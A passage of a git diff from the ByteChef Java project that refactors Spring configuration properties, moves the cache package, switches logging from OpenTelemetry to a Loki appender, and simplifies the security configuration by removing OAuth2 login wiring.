         public void setEnabled(boolean enabled) {
             this.enabled = enabled;
         }
-
-        public Ocr getOcr() {
-            return ocr;
-        }
-
-        public void setOcr(Ocr ocr) {
-            this.ocr = ocr;
-        }
-
-        public Subscriptions getSubscriptions() {
-            return subscriptions;
-        }
-
-        public void setSubscriptions(Subscriptions subscriptions) {
-            this.subscriptions = subscriptions;
-        }
-
-        /**
-         * Embedding configuration for knowledge base document processing.
-         */
-        public static class Embedding {
-
-            /**
-             * Embedding provider type.
-             */
-            public enum Provider {
-                /** OpenAI embedding provider */
-                OPENAI,
-                /** Ollama embedding provider */
-                OLLAMA,
-                /** Azure embedding provider */
-                AZURE
-            }
-
-            /** Embedding model name */
-            private String model = "text-embedding-3-small";
-
-            /** Embedding provider */
-            private Provider provider = Provider.OPENAI;
-
-            public String getModel() {
-                return model;
-            }
-
-            public void setModel(String model) {
-                this.model = model;
-            }
-
-            public Provider getProvider() {
-                return provider;
-            }
-
-            public void setProvider(Provider provider) {
-                this.provider = provider;
-            }
-        }
-
-        /**
-         * OCR configuration for knowledge base document processing.
-         */
-        public static class Ocr {
-
-            /**
-             * OCR provider type.
-             */
-            public enum Provider {
-                /** No OCR provider */
-                NONE,
-                /** Azure OCR provider */
-                AZURE,
-                /** Mistral OCR provider */
-                MISTRAL
-            }
-
-            /** OCR provider */
-            private Provider provider = Provider.NONE;
-
-            /** Mistral OCR configuration */
-            private Mistral mistral = new Mistral();
-
-            public Provider getProvider() {
-                return provider;
-            }
-
-            public void setProvider(Provider provider) {
-                this.provider = provider;
-            }
-
-            public Mistral getMistral() {
-                return mistral;
-            }
-
-            public void setMistral(Mistral mistral) {
-                this.mistral = mistral;
-            }
-
-            /**
-             * Mistral OCR configuration.
-             */
-            public static class Mistral {
-
-                /** Mistral API key */
-                private String apiKey;
-
-                public String getApiKey() {
-                    return apiKey;
-                }
-
-                public void setApiKey(String apiKey) {
-                    this.apiKey = apiKey;
-                }
-            }
-        }
-
-        /**
-         * Event subscription configuration for knowledge base events.
-         */
-        public static class Subscriptions {
-
-            /** Number of subscribers for document process events */
-            private int documentProcessEvents = 1;
-
-            /** Number of subscribers for document chunk update events */
-            private int documentChunkUpdateEvents = 1;
-
-            public int getDocumentProcessEvents() {
-                return documentProcessEvents;
-            }
-
-            public void setDocumentProcessEvents(int documentProcessEvents) {
-                this.documentProcessEvents = documentProcessEvents;
-            }
-
-            public int getDocumentChunkUpdateEvents() {
-                return documentChunkUpdateEvents;
-            }
-
-            public void setDocumentChunkUpdateEvents(int documentChunkUpdateEvents) {
-                this.documentChunkUpdateEvents = documentChunkUpdateEvents;
-            }
-        }
     }
 
     /**
-     * Email configuration for sending notifications and alerts.
+     * Mail properties.
      */
     public static class Mail {
 
-        /** Whether SMTP authentication is required */
         private boolean auth;
-
-        /** Whether to enable debug logging for mail */
         private boolean debug;
-
-        /** Email address to use as sender */
         private String from;
-
-        /** SMTP server hostname */
         private String host;
-
-        /** Base URL for email links */
         private String baseUrl;
-
-        /** SMTP server password */
         private String password;
-
-        /** Email protocol (e.g., smtp, smtps) */
         private String protocol;
-
-        /** SMTP server port */
         private int port = 25;
-
-        /** STARTTLS configuration */
         private Starttls starttls = new Starttls();
-
-        /** SSL configuration */
         private Ssl ssl = new Ssl();
-
-        /** SMTP server username */
         private String username;
 
         public boolean isAuth() {
@@ -2480,12 +1776,8 @@ public void setUsername(String username) {
             this.username = username;
         }
 
-        /**
-         * SSL configuration for email.
-         */
         public static class Ssl {
 
-            /** Whether SSL is enabled */
             private boolean enabled;
 
             public boolean isEnabled() {
@@ -2497,15 +1789,9 @@ public void setEnabled(boolean enabled) {
             }
         }
 
-        /**
-         * STARTTLS configuration for email.
-         */
         public static class Starttls {
 
-            /** Whether STARTTLS is enabled */
             private boolean enable;
-
-            /** Whether STARTTLS is required */
             private boolean required;
 
             public boolean isEnable() {
@@ -2527,29 +1813,14 @@ public void setRequired(boolean required) {
     }
 
     /**
-     * Message broker configuration for asynchronous messaging.
+     * MessageBroker properties.
      */
     public static class MessageBroker {
 
-        /**
-         * Available message broker providers.
-         */
         public enum Provider {
-            /** AMQP (e.g., RabbitMQ) */
-            AMQP,
-            /** AWS SQS */
-            AWS,
-            /** JMS */
-            JMS,
-            /** Apache Kafka */
-            KAFKA,
-            /** In-memory message broker */
-            MEMORY,
-            /** Redis-based message broker */
-            REDIS
+            AMQP, AWS, JMS, KAFKA, MEMORY, REDIS
         }
 
-        /** Message broker provider */
         private Provider provider = Provider.JMS;
 
         public Provider getProvider() {
@@ -2562,14 +1833,44 @@ public void setProvider(Provider provider) {
     }
 
     /**
-     * OAuth2 configuration for third-party authentication.
+     * Represents the MCP configuration structure. Provides access to the server configuration settings.
+     */
+    public static class Mcp {
+
+        private Server server = new Server();
+
+        public Server getServer() {
+            return server;
+        }
+
+        public void setServer(Server server) {
+            this.server = server;
+        }
+
+        /**
+         * Represents the server configuration settings. This configuration determines whether the server is enabled or
+         * disabled.
+         */
+        public static class Server {
+
+            private boolean enabled;
+
+            public boolean isEnabled() {
+                return enabled;
+            }
+
+            public void setEnabled(boolean enabled) {
+                this.enabled = enabled;
+            }
+        }
+    }
+
+    /**
+     * Oauth2 properties.
      */
     public static class Oauth2 {
 
-        /** Predefined OAuth2 applications mapped by component name */
         private Map<String, OAuth2App> predefinedApps = new HashMap<>();
-
-        /** OAuth2 redirect URI */
         private String redirectUri;
 
         public Map<String, OAuth2App> getPredefinedApps() {
@@ -2588,15 +1889,8 @@ public void setRedirectUri(String redirectUri) {
             this.redirectUri = redirectUri;
         }
 
-        /**
-         * OAuth2 application credentials.
-         */
         public static class OAuth2App {
-
-            /** OAuth2 client ID */
             private String clientId;
-
-            /** OAuth2 client secret */
             private String clientSecret;
 
             public String getClientId() {
@@ -2618,11 +1912,10 @@ public void setClientSecret(String clientSecret) {
     }
 
     /**
-     * Static resources configuration.
+     * Resources properties.
      */
     public static class Resources {
 
-        /** Web resources path */
         private String web;
 
         public String getWeb() {
@@ -2635,20 +1928,12 @@ public void setWeb(String web) {
     }
 
     /**
-     * Security configuration for authentication and authorization.
+     * Security properties.
      */
     public static class Security {
 
-        /** Content Security Policy header value */
         private String contentSecurityPolicy;
-
-        /** Remember-me authentication configuration */
         private RememberMe rememberMe = new RememberMe();
-
-        /** Social login (OAuth2) configuration */
-        private SocialLogin socialLogin = new SocialLogin();
-
-        /** System user credentials configuration */
         private System system = new System();
 
         public String getContentSecurityPolicy() {
@@ -2667,14 +1952,6 @@ public void setRememberMe(RememberMe rememberMe) {
             this.rememberMe = rememberMe;
         }
 
-        public SocialLogin getSocialLogin() {
-            return socialLogin;
-        }
-
-        public void setSocialLogin(SocialLogin socialLogin) {
-            this.socialLogin = socialLogin;
-        }
-
         public System getSystem() {
             return system;
         }
@@ -2684,11 +1961,10 @@ public void setSystem(System system) {
         }
 
         /**
-         * Remember-me authentication configuration.
+         * RememberMe properties.
          */
         public static class RememberMe {
 
-            /** Remember-me token encryption key */
             private String key;
 
             public String getKey() {
@@ -2701,14 +1977,11 @@ public void setKey(String key) {
         }
 
         /**
-         * System user credentials for internal operations.
+         * System properties.
          */
         public static class System {
 
-            /** System user username */
             private String username;
-
-            /** System user password */
             private String password;
 
             public String getUsername() {
@@ -2727,101 +2000,14 @@ public void setPassword(String password) {
                 this.password = password;
             }
         }
-
-        /**
-         * Social login (OAuth2) configuration for Google and GitHub providers.
-         */
-        public static class SocialLogin {
-
-            /** Whether social login is enabled */
-            private boolean enabled;
-
-            /** Google OAuth2 configuration */
-            private Provider google = new Provider();
-
-            /** GitHub OAuth2 configuration */
-            private Provider github = new Provider();
-
-            public boolean isEnabled() {
-                return enabled;
-            }
-
-            public Provider getGoogle() {
-                return google;
-            }
-
-            public Provider getGithub() {
-                return github;
-            }
-
-            public void setEnabled(boolean enabled) {
-                this.enabled = enabled;
-            }
-
-            public void setGoogle(Provider google) {
-                this.google = google;
-            }
-
-            public void setGithub(Provider github) {
-                this.github = github;
-            }
-
-            /**
-             * OAuth2 provider credentials.
-             */
-            public static class Provider {
-
-                /** OAuth2 client ID */
-                private String clientId;
-
-                /** OAuth2 client secret */
-                private String clientSecret;
-
-                public String getClientId() {
-                    return clientId;
-                }
-
-                public String getClientSecret() {
-                    return clientSecret;
-                }
-
-                public void setClientId(String clientId) {
-                    this.clientId = clientId;
-                }
-
-                public void setClientSecret(String clientSecret) {
-                    this.clientSecret = clientSecret;
-                }
-            }
-        }
-
-        /**
-         * Two-factor authentication configuration.
-         */
-        public static class TwoFactorAuthentication {
-
-            /** Whether two-factor authentication is enabled */
-            private boolean enabled;
-
-            public boolean isEnabled() {
-                return enabled;
-            }
-
-            public void setEnabled(boolean enabled) {
-                this.enabled = enabled;
-            }
-        }
     }
 
     /**
-     * User sign-up configuration.
+     * Sign up properties.
      */
     public static class SignUp {
 
-        /** Whether email activation is required after sign-up */
         private boolean activationRequired;
-
-        /** Whether user sign-up is enabled */
         private boolean enabled = true;
 
         public boolean isActivationRequired() {
@@ -2842,21 +2028,17 @@ public void setEnabled(boolean enabled) {
     }
 
     /**
-     * Multi-tenancy configuration.
+     * Tenant properties.
      */
     public static class Tenant {
 
         /**
-         * Tenancy mode.
+         * Tenant provider.
          */
         public enum Mode {
-            /** Multi-tenant mode */
-            MULTI,
-            /** Single-tenant mode */
-            SINGLE
+            MULTI, SINGLE
         }
 
-        /** Tenancy mode */
         private Mode mode = Mode.SINGLE;
 
         public Mode getMode() {
@@ -2868,15 +2050,38 @@ public void setMode(Mode mode) {
         }
     }
 
+    public static class Tracing {
+
+        private Otlp otlp = new Otlp();
+
+        public Otlp getOtlp() {
+            return otlp;
+        }
+
+        public void setOtlp(Otlp otlp) {
+            this.otlp = otlp;
+        }
+    }
+
+    public static class Otlp {
+
+        private String endpoint;
+
+        public String getEndpoint() {
+            return endpoint;
+        }
+
+        public void setEndpoint(String endpoint) {
+            this.endpoint = endpoint;
+        }
+    }
+
     /**
-     * Worker node configuration for task execution.
+     * Worker properties.
      */
     public static class Worker {
 
-        /** Whether worker is enabled */
         private boolean enabled = true;
-
-        /** Task execution configuration */
         private Task task = new Task();
 
         public boolean isEnabled() {
@@ -2896,14 +2101,11 @@ public void setTask(Task task) {
         }
 
         /**
-         * Task execution configuration for workers.
+         * Task properties.
          */
         public static class Task {
 
-            /** Default timeout for task execution in milliseconds */
             private Long defaultTimeout;
-
-            /** Event subscriptions mapped by task type to number of subscribers */
             private Map<String, Integer> subscriptions = new HashMap<>();
 
             public Long getDefaultTimeout() {
@@ -2925,14 +2127,11 @@ public void setSubscriptions(Map<String, Integer> subscriptions) {
     }
 
     /**
-     * Workflow engine configuration.
+     * Workflow properties.
      */
     public static class Workflow {
 
-        /** Output storage configuration for workflow results */
         private OutputStorage outputStorage = new OutputStorage();
-
-        /** Workflow repository configuration */
         private Repository repository = new Repository();
 
         public OutputStorage getOutputStorage() {
@@ -2952,23 +2151,17 @@ public void setRepository(Repository repository) {
         }
 
         /**
-         * Workflow output storage configuration for persisting execution results.
+         * OutputStorage properties.
          */
         public static class OutputStorage {
 
             /**
-             * Available output storage providers.
+             * OutputStorage provider.
              */
             public enum Provider {
-                /** AWS S3 storage */
-                AWS,
-                /** Filesystem storage */
-                FILESYSTEM,
-                /** JDBC database storage */
-                JDBC
+                AWS, FILESYSTEM, JDBC
             }
 
-            /** Output storage provider */
             private Provider provider = Provider.JDBC;
 
             public Provider getProvider() {
@@ -2981,20 +2174,13 @@ public void setProvider(Provider provider) {
         }
 
         /**
-         * Workflow repository configuration for storing workflow definitions.
+         * Repository properties.
          */
         public static class Repository {
 
-            /** Classpath-based workflow repository */
             private Classpath classpath = new Classpath();
-
-            /** Filesystem-based workflow repository */
             private Filesystem filesystem = new Filesystem();
-
-            /** Git-based workflow repository */
             private Git git = new Git();
-
-            /** JDBC-based workflow repository */
             private Jdbc jdbc = new Jdbc();
 
             public Classpath getClasspath() {
@@ -3030,14 +2216,11 @@ public void setJdbc(Jdbc jdbc) {
             }
 
             /**
-             * Classpath-based workflow repository configuration.
+             * Filesystem properties.
              */
             public static class Classpath {
 
-                /** Whether classpath repository is enabled */
                 private boolean enabled;
-
-                /** Ant-style pattern for locating workflow files */
                 private String locationPattern;
 
                 public String getLocationPattern() {
@@ -3058,14 +2241,11 @@ public void setLocationPattern(String locationPattern) {
             }
 
             /**
-             * Filesystem-based workflow repository configuration.
+             * Filesystem properties.
              */
             public static class Filesystem {
 
-                /** Whether filesystem repository is enabled */
                 private boolean enabled;
-
-                /** Ant-style pattern for locating workflow files */
                 private String locationPattern;
 
                 public String getLocationPattern() {
@@ -3086,26 +2266,15 @@ public void setLocationPattern(String locationPattern) {
             }
 
             /**
-             * Git-based workflow repository configuration.
+             * Git properties.
              */
             public static class Git {
 
-                /** Git branch to use */
                 private String branch;
-
-                /** Whether Git repository is enabled */
                 private boolean enabled;
-
-                /** Git repository password */
                 private String password;
-
-                /** Paths within repository to search for workflows */
                 private String[] searchPaths;
-
-                /** Git repository URL */
                 private String url;
-
-                /** Git repository username */
                 private String username;
 
                 public String getBranch() {
@@ -3158,11 +2327,10 @@ public void setUsername(String username) {
             }
 
             /**
-             * JDBC-based workflow repository configuration for database storage.
+             * Jdbc properties.
              */
             public static class Jdbc {
 
-                /** Whether JDBC repository is enabled */
                 private boolean enabled = true;
 
                 public boolean isEnabled() {
diff --git a/server/libs/config/cache-config/src/main/java/com/bytechef/cache/config/CacheConfiguration.java b/server/libs/config/cache-config/src/main/java/com/bytechef/cache/config/CacheConfiguration.java
index 6a147ef9094..260156d3e4a 100644
--- a/server/libs/config/cache-config/src/main/java/com/bytechef/cache/config/CacheConfiguration.java
+++ b/server/libs/config/cache-config/src/main/java/com/bytechef/cache/config/CacheConfiguration.java
@@ -41,8 +41,7 @@
 @EnableCaching
 public class CacheConfiguration implements CachingConfigurer {
 
-    private static final String REENTRANT_LOCK_CACHE =
-        "com.bytechef.platform.component.aspect.TokenRefreshHandler.reentrantLock";
+    private static final String REENTRANT_LOCK_CACHE = "TokenRefreshHelper.reentrantLock";
 
     @Bean
     @ConditionalOnProperty(prefix = "bytechef", name = "cache.provider", havingValue = "redis")
diff --git a/server/libs/config/cache-config/src/main/java/com/bytechef/cache/boot/RedisCacheEnvironmentPostProcessor.java b/server/libs/config/cache-config/src/main/java/com/bytechef/cache/env/RedisCacheEnvironmentPostProcessor.java
similarity index 92%
rename from server/libs/config/cache-config/src/main/java/com/bytechef/cache/boot/RedisCacheEnvironmentPostProcessor.java
rename to server/libs/config/cache-config/src/main/java/com/bytechef/cache/env/RedisCacheEnvironmentPostProcessor.java
index 9c22b68d564..765947753a0 100644
--- a/server/libs/config/cache-config/src/main/java/com/bytechef/cache/boot/RedisCacheEnvironmentPostProcessor.java
+++ b/server/libs/config/cache-config/src/main/java/com/bytechef/cache/env/RedisCacheEnvironmentPostProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.cache.boot;
+package com.bytechef.cache.env;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -40,7 +40,7 @@ public void postProcessEnvironment(ConfigurableEnvironment environment, SpringAp
             source.computeIfPresent(
                 "spring.autoconfigure.exclude",
                 (k, v) -> ((String) v).replace(
-                    "org.springframework.boot.data.redis.autoconfigure.DataRedisAutoConfiguration,", ""));
+                    ", org.springframework.boot.autoconfigure.data.redis.RedisAutoConfiguration", ""));
         }
 
         MapPropertySource mapPropertySource = new MapPropertySource("Custom Redis Cache Config", source);
diff --git a/server/libs/config/cache-config/src/main/resources/META-INF/spring.factories b/server/libs/config/cache-config/src/main/resources/META-INF/spring.factories
index b46fe34f5af..4db4b54bc86 100644
--- a/server/libs/config/cache-config/src/main/resources/META-INF/spring.factories
+++ b/server/libs/config/cache-config/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.cache.boot.RedisCacheEnvironmentPostProcessor
+com.bytechef.cache.env.RedisCacheEnvironmentPostProcessor
diff --git a/server/libs/config/jdbc-config/src/main/java/com/bytechef/jdbc/config/AuditingJdbcConfiguration.java b/server/libs/config/jdbc-config/src/main/java/com/bytechef/jdbc/config/AuditingJdbcConfiguration.java
index e6bcd927787..09dc41ae5af 100644
--- a/server/libs/config/jdbc-config/src/main/java/com/bytechef/jdbc/config/AuditingJdbcConfiguration.java
+++ b/server/libs/config/jdbc-config/src/main/java/com/bytechef/jdbc/config/AuditingJdbcConfiguration.java
@@ -19,17 +19,24 @@
 import com.bytechef.platform.security.util.SecurityUtils;
 import java.util.Optional;
 import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.FilterType;
 import org.springframework.data.auditing.CurrentDateTimeProvider;
 import org.springframework.data.auditing.DateTimeProvider;
 import org.springframework.data.domain.AuditorAware;
 import org.springframework.data.jdbc.repository.config.EnableJdbcAuditing;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
 
 /**
  * @author Ivica Cardic
  */
 @Configuration
 @EnableJdbcAuditing(auditorAwareRef = "springSecurityAuditorAware", dateTimeProviderRef = "auditingDateTimeProvider")
+@EnableJdbcRepositories(
+    basePackages = "com.bytechef",
+    excludeFilters = @ComponentScan.Filter(
+        type = FilterType.ANNOTATION, classes = com.bytechef.platform.jdbc.ConditionalJdbcRepository.class))
 public class AuditingJdbcConfiguration {
 
     private static final String SYSTEM = "system";
diff --git a/server/libs/config/liquibase-config/src/main/resources/config/liquibase/master.xml b/server/libs/config/liquibase-config/src/main/resources/config/liquibase/master.xml
index 4b5b416f695..0103f714c26 100644
--- a/server/libs/config/liquibase-config/src/main/resources/config/liquibase/master.xml
+++ b/server/libs/config/liquibase-config/src/main/resources/config/liquibase/master.xml
@@ -35,8 +35,6 @@
     <includeAll path="classpath:config/liquibase/changelog/atlas/execution/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or execution or multitenant" />
     <includeAll path="classpath:config/liquibase/changelog/platform/execution/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or execution or multitenant" />
     <includeAll path="classpath:config/liquibase/changelog/data_entry/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or execution or multitenant" />
-    <includeAll path="classpath:config/liquibase/changelog/automation/data_table/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or execution or multitenant" />
-    <includeAll path="classpath:config/liquibase/changelog/automation/knowledge_base/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or execution or multitenant" />
 
     <!-- audit -->
     <includeAll path="classpath:config/liquibase/changelog/audit/" relativeToChangelogFile="false" errorIfMissingOrEmpty="false" contextFilter="mono or configuration or connection or multitenant" />
diff --git a/server/libs/config/logback-config/src/main/resources/logback-spring.xml b/server/libs/config/logback-config/src/main/resources/logback-spring.xml
index 6b814b1f496..f1c9d9a0fcf 100644
--- a/server/libs/config/logback-config/src/main/resources/logback-spring.xml
+++ b/server/libs/config/logback-config/src/main/resources/logback-spring.xml
@@ -1,31 +1,56 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE configuration>
+
 <configuration scan="true">
+    <!-- Patterns based on https://github.com/spring-projects/spring-boot/blob/v3.0.0/spring-boot-project/spring-boot/src/main/resources/org/springframework/boot/logging/logback/defaults.xml -->
+    <conversionRule conversionWord="crlf" class="com.bytechef.logback.config.CRLFLogConverter" />
+    <property name="CONSOLE_LOG_PATTERN" value="${CONSOLE_LOG_PATTERN:-%clr(%d{${LOG_DATEFORMAT_PATTERN:-yyyy-MM-dd'T'HH:mm:ss.SSSXXX}}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %crlf(%m){red} %n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}"/>
+    <!-- The FILE and ASYNC appenders are here as examples for a production configuration -->
+    <property name="FILE_LOG_PATTERN" value="${FILE_LOG_PATTERN:-%d{${LOG_DATEFORMAT_PATTERN:-yyyy-MM-dd'T'HH:mm:ss.SSSXXX}} ${LOG_LEVEL_PATTERN:-%5p} ${PID:- } &#45;&#45;&#45; [%t] %-40.40logger{39} : %crlf(%m) %n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}"/>
 
+    <springProperty name="applicationName" source="spring.application.name" />
     <springProperty name="log.level" source="logging.level.root" defaultValue="INFO" />
+    <springProperty name="loki.appender.level" source="bytechef.observability.loki.appender.level" defaultValue="OFF" />
+    <springProperty name="loki.appender.http.url" source="bytechef.observability.loki.appender.http.url" defaultValue="http://localhost:3100/loki/api/v1/push" />
 
     <include resource="org/springframework/boot/logging/logback/defaults.xml"/>
+    <include resource="org/springframework/boot/logging/logback/console-appender.xml" />
 
-    <SpringProfile name="!testint">
-        <appender name="OpenTelemetry"
-                  class="io.opentelemetry.instrumentation.logback.appender.v1_0.OpenTelemetryAppender">
-        </appender>
-    </SpringProfile>
-
-    <SpringProfile name="dev">
-        <include resource="org/springframework/boot/logging/logback/console-appender.xml"/>
-    </SpringProfile>
-
-    <SpringProfile name="prod">
-        <include resource="org/springframework/boot/logging/logback/structured-console-appender.xml"/>
-    </SpringProfile>
+    <appender name="LOKI" class="com.github.loki4j.logback.Loki4jAppender">
+        <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
+            <level>${loki.appender.level}</level>
+        </filter>
+        <http>
+            <url>${loki.appender.http.url}</url>
+        </http>
+        <format>
+            <label>
+                <pattern>app=${applicationName},host=${HOSTNAME},traceID=%X{traceId:-NONE},level=%level</pattern>
+            </label>
+            <message>
+                <pattern>${FILE_LOG_PATTERN}</pattern>
+            </message>
+        </format>
+    </appender>
 
-    <!-- See https://github.com/open-telemetry/opentelemetry-java-instrumentation/issues/13069
-    <appender name="ASYNC-OpenTelemetry" class="ch.qos.logback.classic.AsyncAppender">
+    <appender name="ASYNC-LOKI" class="ch.qos.logback.classic.AsyncAppender">
         <queueSize>1024</queueSize>
         <neverBlock>true</neverBlock>
-        <appender-ref ref="OpenTelemetry"/>
+        <appender-ref ref="LOKI"/>
     </appender>
+
+    <!-- The FILE and ASYNC appenders are here as examples for a production configuration -->
+    <!--
+    <include resource="org/springframework/boot/logging/logback/file-appender.xml" />
+
+    <appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
+        <queueSize>512</queueSize>
+        <appender-ref ref="FILE"/>
+    </appender>
+
+    <root level="${logging.level.root}">
+        <appender-ref ref="ASYNC"/>
+    </root>
     -->
 
     <!--<logger name="com.bytechef" level="INFO"/>-->
@@ -63,8 +88,8 @@
     <logger name="LiquibaseSchemaResolver" level="INFO"/>
 
     <root level="${log.level}">
-        <appender-ref ref="CONSOLE"/>
-        <appender-ref ref="OpenTelemetry"/>
+        <appender-ref ref="CONSOLE" />
+        <appender-ref ref="ASYNC-LOKI" />
     </root>
 
     <contextListener class="ch.qos.logback.classic.jul.LevelChangePropagator">
diff --git a/server/libs/config/security-config/build.gradle.kts b/server/libs/config/security-config/build.gradle.kts
index 06730b57ba5..07b7b0e2ee8 100644
--- a/server/libs/config/security-config/build.gradle.kts
+++ b/server/libs/config/security-config/build.gradle.kts
@@ -6,7 +6,6 @@ dependencies {
     implementation("org.springframework:spring-tx")
     implementation("org.springframework:spring-webmvc")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework.boot:spring-boot-starter-oauth2-client")
     implementation("org.springframework.security:spring-security-config")
     implementation("org.springframework.security:spring-security-web")
     implementation(project(":server:libs:config:app-config"))
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/PasswordEncoderConfiguration.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/config/PasswordEncoderConfiguration.java
deleted file mode 100644
index 73b123fbf3a..00000000000
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/PasswordEncoderConfiguration.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.security.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
-import org.springframework.security.crypto.password.PasswordEncoder;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-class PasswordEncoderConfiguration {
-
-    @Bean
-    PasswordEncoder passwordEncoder() {
-        return new BCryptPasswordEncoder();
-    }
-}
diff --git a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SecurityConfiguration.java b/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SecurityConfiguration.java
index 47c0cb9aec6..66e610762fe 100644
--- a/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SecurityConfiguration.java
+++ b/server/libs/config/security-config/src/main/java/com/bytechef/security/config/SecurityConfiguration.java
@@ -23,19 +23,16 @@
 import com.bytechef.config.ApplicationProperties.Security.RememberMe;
 import com.bytechef.platform.security.constant.AuthorityConstants;
 import com.bytechef.platform.security.web.config.AuthorizeHttpRequestContributor;
-import com.bytechef.platform.security.web.config.OAuth2LoginCustomizer;
 import com.bytechef.platform.security.web.config.SecurityConfigurerContributor;
 import com.bytechef.platform.security.web.config.SpaWebFilterContributor;
 import com.bytechef.security.web.filter.CookieCsrfFilter;
 import com.bytechef.security.web.filter.SpaWebFilter;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
 import java.util.List;
 import java.util.Objects;
 import java.util.function.Supplier;
 import org.apache.commons.lang3.StringUtils;
-import org.springframework.beans.factory.ObjectProvider;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.Profile;
@@ -52,6 +49,7 @@
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.core.userdetails.User;
 import org.springframework.security.core.userdetails.UserDetails;
+import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
 import org.springframework.security.crypto.password.PasswordEncoder;
 import org.springframework.security.provisioning.InMemoryUserDetailsManager;
 import org.springframework.security.web.SecurityFilterChain;
@@ -80,22 +78,15 @@ public class SecurityConfiguration {
 
     private final AuthenticationFailureHandler authenticationFailureHandler;
     private final AuthenticationSuccessHandler authenticationSuccessHandler;
-    private final OAuth2LoginCustomizer oAuth2LoginCustomizer;
-    private final PasswordEncoder passwordEncoder;
     private final RememberMeServices rememberMeServices;
     private final Security security;
 
-    @SuppressFBWarnings("CT_CONSTRUCTOR_THROW")
     public SecurityConfiguration(
         ApplicationProperties applicationProperties, AuthenticationFailureHandler authenticationFailureHandler,
-        AuthenticationSuccessHandler authenticationSuccessHandler,
-        ObjectProvider<OAuth2LoginCustomizer> oAuth2LoginCustomizerProvider, PasswordEncoder passwordEncoder,
-        RememberMeServices rememberMeServices) {
+        AuthenticationSuccessHandler authenticationSuccessHandler, RememberMeServices rememberMeServices) {
 
         this.authenticationFailureHandler = authenticationFailureHandler;
         this.authenticationSuccessHandler = authenticationSuccessHandler;
-        this.oAuth2LoginCustomizer = oAuth2LoginCustomizerProvider.getIfAvailable();
-        this.passwordEncoder = passwordEncoder;
         this.rememberMeServices = rememberMeServices;
         this.security = applicationProperties.getSecurity();
     }
@@ -172,13 +163,8 @@ public SecurityFilterChain apiFilterChain(
         List<SpaWebFilterContributor> spaWebFilterContributors)
         throws Exception {
 
-        if (oAuth2LoginCustomizer != null) {
-            http.securityMatcher("/api/**", "/graphql", "/oauth2/**", "/login/oauth2/**");
-        } else {
-            http.securityMatcher("/api/**", "/graphql");
-        }
-
         http
+            .securityMatcher("/api/**", "/graphql")
             .cors(withDefaults())
             .csrf(csrf -> {
                 csrf
@@ -238,10 +224,6 @@ public SecurityFilterChain apiFilterChain(
                 .logoutSuccessHandler(new HttpStatusReturningLogoutSuccessHandler())
                 .permitAll());
 
-        if (oAuth2LoginCustomizer != null) {
-            oAuth2LoginCustomizer.customize(http);
-        }
-
         for (SecurityConfigurerContributor securityConfigurerContributor : securityConfigurerContributors) {
 
             http.with(securityConfigurerContributor.getSecurityConfigurerAdapter(), withDefaults());
@@ -345,6 +327,11 @@ PathPatternRequestMatcher.Builder mvc() {
         return PathPatternRequestMatcher.withDefaults();
     }
 
+    @Bean
+    public PasswordEncoder passwordEncoder() {
+        return new BCryptPasswordEncoder();
+    }
+
     private DaoAuthenticationProvider getSystemAuthenticationProvider(Security.System system) {
         String password = system.getPassword();
         String username = system.getUsername();
@@ -353,6 +340,8 @@ private DaoAuthenticationProvider getSystemAuthenticationProvider(Security.Syste
             return null;
         }
 
+        PasswordEncoder passwordEncoder = passwordEncoder();
+
         UserDetails user = User.withUsername(system.getUsername())
             .password(passwordEncoder.encode(system.getPassword()))
             .authorities(AuthorityConstants.SYSTEM_ADMIN)
@@ -361,7 +350,7 @@ private DaoAuthenticationProvider getSystemAuthenticationProvider(Security.Syste
         DaoAuthenticationProvider daoAuthenticationProvider = new DaoAuthenticationProvider(
             new InMemoryUserDetailsManager(user));
 
-        daoAuthenticationProvider.setPasswordEncoder(passwordEncoder);
+        daoAuthenticationProvider.setPasswordEncoder(passwordEncoder());
 
         return daoAuthenticationProvider;
     }
